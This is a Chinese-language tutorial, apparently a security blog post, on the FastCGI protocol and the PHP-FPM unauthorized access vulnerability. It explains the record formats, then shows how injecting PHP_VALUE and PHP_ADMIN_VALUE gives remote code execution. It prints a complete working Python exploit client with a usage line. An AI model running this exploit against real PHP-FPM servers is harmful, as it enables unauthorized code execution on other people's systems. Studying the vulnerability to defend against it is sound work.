FastCGI

Nginx最初只支持解析由HTML,JPG等资源所组成的静态网页，后来出现PHP等动态语言，Nginx为了解析动态语言，制定了cgi协议。有了CGI协议以后，就算再次出现新的动态语言，只要遵循CGI协议，就可以快速实现语言的解析。

但其每次语言解析器和web服务器之间的通信都需要创建一个进程，导致资源占用严重，无法接受过大的请求

从而产生了fast-cgi。改进了进程的处理模式，当一次通信完成后，同行进程得到保留，不会杀死通信使用的进程，其他的通信还可以继续使用这个进程

对于Nginx而言，为了实现与PHP的通信交互，因此出现了php-cgi和php-fpm。php-cgi支持cgi协议，可以用于处理和解析PHP脚本程序，php-cgi通过调用PHP的php_execute_script函数来解析和运行PHP脚本。

在PHP5.4版本之前，Nginx处理PHP的流程是调用php-fpm，php-fpm再创建进程，调用php-cgi，以此实现了Ngixn对PHP的解析问题，此时php-fpm起到的是管理php-cgi的作用。在PHP5.4版本之后，php内核中集成了php-fpm，本身带有了php解析的功能，就不再以来php-cgi来解析PHP了。

FastCGI Record

和HTTP相似，也是一个通信协议，进行数据交换的一个通道

HTTP协议负责浏览器和服务器中间件的的数据交换，浏览器将HTTP请求头和HTTP体用一定规则组装成数据包，以TCP的方式发送到服务器中间件。服务器中间件按照规则对数据包进行解码，并按照要求拿到用户的数据，再以HTTP协议的规则打包返回给服务器。

FsatCGI协议相似。将数据在服务器中间件与某个语言的后端进行交换。Fastcgi协议由多个record组成，record也有header和body一说，服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端，语言后端解码以后拿到具体数据，进行指定操作，并将结果再按照该协议封装好后返回给服务器中间件。

和HTTP头不同，record的头固定8个字节，body是由头中的contentLength指定，其结构如下：

FastCGI record

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

头由8个uchar类型的变量组成，每个变量1字节。其中，requestId占两个字节，一个唯一的标志id，以避免多个请求之间的影响；contentLength占两个字节，表示body的大小。

语言端解析了fastcgi头以后，拿到contentLength，然后再在TCP流里读取大小等于contentLength的数据，这就是body体。

Body后面还有一段额外的数据（Padding），其长度由头中的paddingLength指定，起保留作用。不需要该Padding的时候，将其长度设置为0即可。

可见，一个fastcgi record结构最大支持的body大小是2^16，65536字节。

FastCGI Type

其中在record 头中的第二个Type作用为指定该record的作用。因为FastCGI的大小有限，作用单一，所以需要再一个TCP流里传输多个record。通过type来表示每个record的作用，用requestId作为同义词请求的ID。

因此，每次请求，会有多个让ecord，他们的requestId相同

主要的type：

type值	具体含义
1	在与php-fpm建立连接之后发送的第一个消息中type值为1。用来表明此消息是请求开始的第一个消息
2	异常断开与php-fpm的交互
3	在与php-fpm交互中所发的最后一个消息中的type值，以此表明交互的正常结束
4	在交互过程中给php-fpm传递环境参数时，将type设为此，以表明消息中包换的数据为某个name-value对
5	web服务器将从浏览器接受到的POST请求数据（表单提交等）以此消息的心事发给php-fpm，这种消息的type值为5
6	php-fpm给web度武器回的正常响应消息的type值就为6
7	php-fpm给服务器的错误响应为7

当后端语言接收到一个type为4的record后，就会把这个record的body按照对应的结构解析成key-value对，这就是环境变量。环境变量的结构如下：

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

这其实是4个结构，至于用哪个结构，有如下规则：

key、value均小于128字节，用FCGI_NameValuePair11
key大于128字节，value小于128字节，用FCGI_NameValuePair41
key小于128字节，value大于128字节，用FCGI_NameValuePair14
key、value均大于128字节，用FCGI_NameValuePair44

PHP-FPM（FastCGI进程管理器php Fastcgi Process Manager）

FPM为fastcgi协议解释器，Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给FPM。

FPM按照fastcgi的协议将TCP流解析成真正的数据。

当用户访问http://127.0.0.1/index.php?a=1&b=2，如果web目录为var/www/html，那么Nginx会将这个请求变成如下key-value：

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中$_SERVER数组的一部分，也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组，也是告诉fpm：“我要执行哪个PHP文件”。

PHP-FPM拿到fastcgi的数据包后，进行解析，得到上述这些环境变量。然后，执行SCRIPT_FILENAME的值指向的PHP文件，也就是/var/www/html/index.php。

PHP-FPM未授权访问漏洞

PHP-FPM默认监听9000端口，如果这个端口暴露在公网，则我们可以自己构造fastcgi协议，和fpm进行通信。

当fpm是根据SCRIPT_FILENAME来执行php文件，如果这文件不存在，fpm直接返回404

在fpm某个版本之前，我们可以将SCRIPT_FILENAME的值指定为任意后缀文件，比如/etc/passwd；但后来，fpm的默认配置中增加了一个选项security.limit_extensions：

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

其限定了只有某些后缀的文件允许被fpm执行，默认是.php。所以，当我们再传入/etc/passwd的时候，将会返回Access denied.：

由于这个配置项的限制，如果想利用PHP-FPM的未授权访问漏洞，首先就得找到一个已存在的PHP文件。可以找默认原安装后可能存在的php文件，比如/usr/local/lib/php/PEAR.php

利用环境变量达到任意代码执行

PHP.INI中有两个配置项：auto_prepend_file和auto_append_file

auto_prepend_file是告诉PHP，在执行目标文件之前，先包含auto_prepend_file中指定的文件；auto_append_file是告诉PHP，在执行完成目标文件后，包含auto_append_file指向的文件。

auto_prepend_file为php://input，那么就等于在执行任何php文件前都要包含一遍POST的内容。所以，我们只需要把待执行的代码放在Body中，他们就能被执行了。（还需要开启远程文件包含选项allow_url_include）

而这两个配置项可以用PHP_VALUE和PHP_ADMIN_VALUE这两个环境变量进行设置PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项，PHP_ADMIN_VALUE可以设置所有选项（disable_functions除外，这个选项是PHP加载的时候就确定了，在范围内的函数直接不会被加载到PHP上下文中）

所以传入如下环境变量

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

然后将需要执行的代码放在body中，即可执行任意代码

exp：https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75


import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False

def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s

class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) 
               + bchr(fcgi_type) 
               + bchr((requestid >> 8) & 0xFF) 
               + bchr(requestid & 0xFF) 
               + bchr((length >> 8) & 0xFF) 
               + bchr(length & 0xFF) 
               + bchr(0) 
               + bchr(0) 
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) 
                      + bchr((nLen >> 16) & 0xFF) 
                      + bchr((nLen >> 8) & 0xFF) 
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) 
                      + bchr((vLen >> 16) & 0xFF) 
                      + bchr((vLen >> 8) & 0xFF) 
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) 
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) 
                                 + bchr(self.keepalive) 
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT 
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

usage：

python fpm3.py /etc/passwd -c "<?php echo "aaaa"?>"

FastCGI

FastCGI Record

FastCGI Type

PHP-FPM（FastCGI进程管理器php Fastcgi Process Manager）

PHP-FPM未授权访问漏洞

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